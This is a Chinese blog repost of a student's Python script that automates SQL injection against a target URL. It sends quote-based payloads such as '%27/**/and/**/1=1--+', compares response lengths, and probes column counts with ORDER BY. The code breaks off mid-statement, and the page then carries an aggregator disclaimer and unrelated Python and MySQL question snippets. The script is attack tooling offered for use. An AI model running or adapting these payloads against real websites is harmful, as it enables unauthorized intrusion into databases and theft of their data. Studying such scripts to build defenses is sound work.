SQL注入自动化python脚本

2023-11-05

写了一个python3注入sql的脚本
临近毕业,尝试写一些自动注入和自动扫描的脚本
发现还是不够自动
后面我再改改。现在脖子疼
实现效果
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
代码如下:

import requests
from bs4 import BeautifulSoup
from colorama import init, Fore, Back, Style
import sys
import time
import urllib.parse
import re
from prettytable import PrettyTable

init(autoreset=True)


class Colored(object):

    # 前景色:红色 背景色:默认
    def red(self, s):
        return Fore.RED + s + Fore.RESET

    # 前景色:绿色 背景色:默认
    def green(self, s):
        return Fore.GREEN + s + Fore.RESET

    # 前景色:黄色 背景色:默认
    def yellow(self, s):
        return Fore.YELLOW + s + Fore.RESET

    # 前景色:蓝色 背景色:默认
    def blue(self, s):
        return Fore.BLUE + s + Fore.RESET

    # 前景色:洋红色 背景色:默认
    def magenta(self, s):
        return Fore.MAGENTA + s + Fore.RESET

    # 前景色:青色 背景色:默认
    def cyan(self, s):
        return Fore.CYAN + s + Fore.RESET

    # 前景色:白色 背景色:默认
    def white(self, s):
        return Fore.WHITE + s + Fore.RESET

    # 前景色:黑色 背景色:默认
    def black(self, s):
        return Fore.BLACK

    # 前景色:白色 背景色:绿色
    def white_green(self, s):
        return Fore.WHITE + Back.GREEN + s + Fore.RESET + Back.RESET


color = Colored()


def single_quotes_injection(url, param_dict, no_param_url):  # 单引号注入
    if len(param_dict) == 1:
        payload_one = url + "%27/**/and/**/1=1--+"  # 一定正确的payload
        payload_two = url + "%27/**/and/**/1=2--+"  # 是否报错的payload
        print(
            color.white("[")
            + color.blue(time.strftime("%H:%M:%S"))
            + color.white("]")
            + color.white("[")
            + color.magenta("payload")
            + color.white("]")
            + color.white("正在执行")
            + color.green(payload_one)
        )
        print(
            color.white("[")
            + color.blue(time.strftime("%H:%M:%S"))
            + color.white("]")
            + color.white("[")
            + color.magenta("payload")
            + color.white("]")
            + color.white("正在执行")
            + color.green(payload_two)
        )
        # print(payload_one)
        response_one = requests.get(payload_one)
        response_two = requests.get(payload_two)
        if response_one.status_code != 200:
            print(color.red("该网站可能部署了waf"))

        # soup_one = BeautifulSoup(response_one.content,'html.parser')
        # soup_two = BeautifulSoup(response_two.content,'html.parser')
        if len(response_one.text) != len(response_two.text):  # 判断是否报错,报错则爆出是sql注入漏洞
            print(
                color.white("[")
                + color.blue(time.strftime("%H:%M:%S"))
                + color.white("]")
                + color.white("[")
                + color.green("INFO")
                + color.white("]")
                + color.yellow("可能存在sql注入漏洞\n")
                + color.white("[")
                + color.blue(time.strftime("%H:%M:%S"))
                + color.white("]")
                + color.white("[")
                + color.magenta("payload")
                + color.white("]")
                + color.green(payload_one)
                + color.white("\n[")
                + color.blue(time.strftime("%H:%M:%S"))
                + color.white("]")
                + color.white("[")
                + color.magenta("payload")
                + color.white("]")
                + color.green(payload_two)
            )
            print(
                color.white("[")
                + color.blue(time.strftime("%H:%M:%S"))
                + color.white("]")
                + color.white("[")
                + color.green("INFO")
                + color.white("]")
                + color.yellow("正在判断是否有回显")
            )
            response = requests.get(
                url + "%27/**/order/**/by/**/1--+"
            )  # 通过order by 判断漏洞是否有回显    这是一定正确的response
            for i in range(1, 15):
                response = requests.get(url + "%27/**/order/**/by/**/" + str(i) + "--+")
                # print(len(response.text))
                if len(response_one.text) != len(
                    response.text
                ):  # 判断谁是第一个长度改变的响应体     判断谁是报错的值,如果都没有报错,证明不是报错注入
                    column_num = i
                    break
                if i == 14:  # 判断的长度为14
                    column_num = 0
            if column_num == 0:  # 判断是否回显
                print(
                    color.white("[")
                    + color.blue(time.strftime("%H:%M:%S"))
                    + color.white("]")
                    + color.white("[")
                    + color.green("INFO")
                    + color.white("]")
                    + color.red("未开启mysql_error()报错  可以尝试盲注")
                )
            else:
                print(
                    color.white("[")
                    + color.blue(time.strftime("%H:%M:%S"))
                    + color.white("]")
                    + color.white("[")
                    + color
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

SQL注入自动化python脚本 的相关文章

  • 为什么我的 if 语句没有按我预期的方式工作?

    我正在尝试实现以下目标 我向我的 SQL 数据库询问使用SELECT FROM subjects 这样做之后我要求使用数组mysqli fetch assoc 在那之前一切都很好 现在的问题是 当我尝试在每个循环中修改 genero 的值
  • 如何打印没有类型的defaultdict变量?

    在下面的代码中 from collections import defaultdict confusion proba dict defaultdict float for i in xrange 10 confusion proba di
  • pandas 替换多个值

    以下是示例数据框 gt gt gt df pd DataFrame a 1 1 1 2 2 b 11 22 33 44 55 gt gt gt df a b 0 1 11 1 1 22 2 1 33 3 2 44 4 3 55 现在我想根据
  • Mysql 中 UNION 子句的替代方案

    我有两张桌子 表 a 表 b table a ID 1 2 3 4 5 7 table b ID 2 3 4 5 6 我必须得到这样的输出而无需UNION命令 ID 1 2 3 4 5 6 7 注意 我有一个联合解决方案 select fr
  • Apache、PHP 和 MySQL 可移植吗?

    我可以在外部硬盘上运行 Apache PHP 和 MySQL 吗 我需要这个 因为我在不同的地方工作 计算机 有时我没有安装和配置所有使用的应用程序 当然可以 XAMPP http www apachefriends org en xamp
  • __del__ 真的是析构函数吗?

    我主要用 C 做事情 其中 析构函数方法实际上是为了销毁所获取的资源 最近我开始使用python 这真的很有趣而且很棒 我开始了解到它有像java一样的GC 因此 没有过分强调对象所有权 构造和销毁 据我所知 init 方法对我来说在 py
  • MySQL MIN/MAX 所有行

    我有桌子Races与行ID Name and TotalCP 我选择分钟 TotalCP FROM Races 但是我想选择具有最小值的整行 我如何在单个查询中做到这一点 从聚合值获取整行的一般形式是 SELECT FROM Races W
  • 将古吉拉特语文本插入 MySQL 表会产生垃圾字符和不可读的文本

    我有三个 MySQL 表 我正在向其中插入古吉拉特语内容 当我插入两个表时 它们插入得很好并且可读 但在一个表中 它显示垃圾字符 不可读的文本 我怎样才能解决这个问题 MySQL 有每个表的字符集设置 http dev mysql com
  • Python:尝试检查有效的电话号码

    我正在尝试编写一个接受以下格式的电话号码的程序XXX XXX XXXX并将条目中的任何字母翻译为其相应的数字 现在我有了这个 如果启动不正确 它将允许您重新输入正确的数字 然后它会翻译输入的原始数字 我该如何解决 def main phon
  • 如何将 PIL 图像转换为 NumPy 数组?

    如何转换 PILImage来回转换为 NumPy 数组 这样我就可以比 PIL 进行更快的像素级转换PixelAccess允许 我可以通过以下方式将其转换为 NumPy 数组 pic Image open foo jpg pix numpy
  • 在Python中重置生成器对象

    我有一个由多个yield 返回的生成器对象 准备调用该生成器是相当耗时的操作 这就是为什么我想多次重复使用生成器 y FunctionWithYield for x in y print x here must be something t
  • 如何在 Django 中使用并发进程记录到单个文件而不使用独占锁

    给定一个在多个服务器上同时执行的 Django 应用程序 该应用程序如何记录到单个共享日志文件 在网络共享中 而不保持该文件以独占模式永久打开 当您想要利用日志流时 这种情况适用于 Windows Azure 网站上托管的 Django 应
  • Laravel leftJoin 仅右表的最后一条记录

    我是 Laravel 的新手 我有两张桌子 1 产品 2 价格 products id product int p key name varchar prices id price int p key id product int
  • VSCode:调试配置中的 Python 路径无效

    对 Python 和 VSCode 以及 stackoverflow 非常陌生 直到最近 我已经使用了大约 3 个月 一切都很好 当尝试在调试器中运行任何基本的 Python 程序时 弹出窗口The Python path in your
  • 对输入求 Keras 模型的导数返回全零

    所以我有一个 Keras 模型 我想将模型的梯度应用于其输入 这就是我所做的 import tensorflow as tf from keras models import Sequential from keras layers imp
  • 从 Python 中的类元信息对 __init__ 函数进行类型提示

    我想做的是复制什么SQLAlchemy确实 以其DeclarativeMeta班级 有了这段代码 from sqlalchemy import Column Integer String from sqlalchemy ext declar
  • 在python中,如何仅搜索所选子字符串之前的一个单词

    给定文本文件中的长行列表 我只想返回紧邻其前面的子字符串 例如单词狗 描述狗的单词 例如 假设有这些行包含狗 hotdog big dog is dogged dog spy with my dog brown dogs 在这种情况下 期望
  • Python - 字典和列表相交

    给定以下数据结构 找出这两种数据结构共有的交集键的最有效方法是什么 dict1 2A 3A 4B list1 2A 4B Expected output 2A 4B 如果这也能产生更快的输出 我可以将列表 不是 dict1 组织到任何其他数
  • Python 分析:“‘select.poll’对象的‘poll’方法”是什么?

    我已经使用 python 分析了我的 python 代码cProfile模块并得到以下结果 ncalls tottime percall cumtime percall filename lineno function 13937860 9
  • 将第三个表链接到多对多关联中的桥接表

    设计这个数据库的正确方法是什么 这是我设置表格的方式 我在名为 教师 的表和名为 仪器 的表之间存在多对多关系 然后我有一个连接两者的桥接表 我想将另一个表与 BRIDGE 表关联起来 意思是乐器 老师的组合 该表有 3 行 指定老师可以教

随机推荐